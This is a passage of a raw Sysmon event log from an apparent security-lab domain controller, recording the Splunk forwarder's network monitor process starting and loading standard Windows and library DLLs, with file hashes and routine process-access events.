Corporationmsvcp_win.dllMD5=C50C0CEFA633773AB29572E05834F1FE,SHA256=50178F23AA57B31626614C6C65DA2B6518A64FF684FFA18A0F49C4431DFCBEC5,IMPHASH=5B59892514923CABE9B70CFE22A3F59AtrueMicrosoft WindowsValid 734700x800000000000000055342Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\oleaut32.dll10.0.14393.4402 (rs1_release.210426-1725)OLEAUT32.DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationOLEAUT32.DLLMD5=57B07BF89C63FA60A810FEDE496126CA,SHA256=080632F80FA2A387E5A55C670FFE07C927D553FDDA26F7F8B4156C0C6B20E75E,IMPHASH=8987D71C85BB2C13D3D90194331F962FtrueMicrosoft WindowsValid 734700x800000000000000055341Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\Wldap32.dll10.0.14393.3269 (rs1_release.190929-1234)Win32 LDAP API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWLDAP32.DLLMD5=12D6C3E8AC705BB42D377C05714F551C,SHA256=E67F6DB96F062A319312C365F1F55B2B38B0F90B77FFDA2522418709CBA45EB3,IMPHASH=D13722FCCB1CDD38974ADB7277D98799trueMicrosoft WindowsValid 734700x800000000000000055340Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\bcryptprimitives.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcryptprimitives.dllMD5=8AAF6E1B14B9210052FFF90E25926D63,SHA256=F2120C8E63EA94F8618B31319A534731C16D8FDD58B0E1E70217D72A39D78353,IMPHASH=BA5C37A1CF8C2730ED1F4DA1587496A5trueMicrosoft WindowsValid 734700x800000000000000055339Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000055338Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\vcruntime140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationvcruntime140.dllMD5=0C583614EB8FFB4C8C2D9E9880220F1D,SHA256=6CADB4FEF773C23B511ACC8B715A084815C6E41DD8C694BC70090A97B3B03FB9,IMPHASH=2CB5DA5225E972A08F32D04B8085DC7EtrueMicrosoft CorporationValid 734700x800000000000000055337Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\combase.dll10.0.14393.4583 (rs1_release.210730-1850)Microsoft COM for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationCOMBASE.DLLMD5=878EBD02A580FDF8F187100127E6D3A8,SHA256=54E4BADDFBD97CFFF871B6D7316B28872218B92F37C41199F71EB37BC5634216,IMPHASH=0863DD72CA0C3702DB7ACD19A4D5DEB1trueMicrosoft WindowsValid 734700x800000000000000055336Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000055335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ole32.dll10.0.14393.4169 (rs1_release.210107-1130)Microsoft OLE for WindowsMicrosoft® Windows® Operating SystemMicrosoft CorporationOLE32.DLLMD5=676B0A1FB2A01D19AECB1F19883B6FC4,SHA256=56DEB219840DBAF9DAF645AD5D79AF9AB05F20E688382854DD487F440B257552,IMPHASH=9724475F92787AFC45A3BA458C0DCDC5trueMicrosoft WindowsValid 734700x800000000000000055334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000055333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000055332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000055331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32full.dll10.0.14393.4530 (rs1_release.210705-0736)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=9D82D7DBC3D9E0D8E86D10A5B1BF736E,SHA256=270CA1A42ECB4C22E826C1C95924F0014CC99254AB55B7167DA144D45E238E6D,IMPHASH=059EB3BAA45E35C79FAE66F7279059EEtrueMicrosoft WindowsValid 734700x800000000000000055330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\gdi32.dll10.0.14393.4169 (rs1_release.210107-1130)GDI Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationgdi32MD5=551D603CEC947F586DB9FADEF4D2EBA6,SHA256=143125EFF9F3BC5B3F3BE505F3C3814393807B9CACB6AA5F75D39C77EC0D4ED8,IMPHASH=A24D446CB7FCBB6D29B592603C0BE00CtrueMicrosoft WindowsValid 734700x800000000000000055329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000055328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\win32u.dll10.0.14393.0 (rs1_release.160715-1616)Win32uMicrosoft® Windows® Operating SystemMicrosoft CorporationWin32u.DLLMD5=6A40F9C63B52CB4E8271CF3418618033,SHA256=A2BE23DA7AADFA9118130C939CD59D86E590957172FF404511EE6C5EC5147F15,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000055326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000055325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000055324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\user32.dll10.0.14393.4169 (rs1_release.210107-1130)Multi-User Windows USER API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationuser32MD5=883B59C5557E8A9B3C1E1ED1CA48CD5A,SHA256=271800C20A96587265BF83DE2EFC11329EEB2B6C0D57E5E0BCD137FB96BFE6E3,IMPHASH=070F257E4632BC576557C4085595EAA4trueMicrosoft WindowsValid 734700x800000000000000055323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000055322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\nsi.dll10.0.14393.3297 (rs1_release_1.191001-1045)NSI User-mode interface DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationnsi.dllMD5=994E2A6D2A0B38E0968B3998E42033AC,SHA256=491F2D1DE09C39B324BCF5800198AC7CCE755F4023F1FEB3854D33716461BC27,IMPHASH=B01B7830101BC0D5FBDE4FFE2B170CF7trueMicrosoft WindowsValid 734700x800000000000000055321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000055320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\IPHLPAPI.DLL10.0.14393.2339 (rs1_release_inmarket.180611-1502)IP Helper APIMicrosoft® Windows® Operating SystemMicrosoft Corporationiphlpapi.dllMD5=3CD38EDF9CA12F91131EDEE32D1C9DF5,SHA256=AF2440640BF8BDEAAF0DECDD7C354158E415ED0AA340ABA7A6CCCDC09C1E728B,IMPHASH=98738BA55485CCA932F6D222F47FFC55trueMicrosoft WindowsValid 734700x800000000000000055319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\secur32.dll10.0.14393.2273 (rs1_release_1.180427-1811)Security Support Provider InterfaceMicrosoft® Windows® Operating SystemMicrosoft Corporationsecur32.dllMD5=BCF1B2F76F8A3A3E9E8F4D4322954651,SHA256=46B327CD50E728CBC22BD80F39DCEF2789AB780C77B6D285EEB90126B06EEEB5,IMPHASH=0D8FF9DE2DA5C07D680347B1A098E759trueMicrosoft WindowsValid 734700x800000000000000055318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\dnsapi.dll10.0.14393.4350 (rs1_release.210407-2154)DNS Client API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationdnsapiMD5=D7651F99299B13D576A72643BFC44944,SHA256=589302E630C473DBDF4CE92C59F00B029FCA0C228E7111A764166E16025FA1A9,IMPHASH=3C043C6FF0F62DAEB8819606F79C5ECCtrueMicrosoft WindowsValid 734700x800000000000000055317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 734700x800000000000000055316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000055315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000055314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 10341000x800000000000000055313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000055312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000055311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000055310Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000055309Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exeMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AECtrueSplunk, Inc.Valid 10341000x800000000000000055308Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055307Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055306Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055305Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000055304Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000055303Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.582{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000055302Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.583{7BD73061-746A-613B-970B-00000000F001}2496C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe8.0.2Network monitorSplunk ApplicationSplunk Inc.splunk-netmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-netmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=8746B8C1724B67C2B1261446C0CFAA57,SHA256=7EFD09FD383FAA75C5D2990E6DBBFD846AEAA08B7037C7D66B4A0EF2AE0866B3,IMPHASH=7B985F47B35272AD7B5218255ACE7AEC{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000055301Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:06:18.451{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program 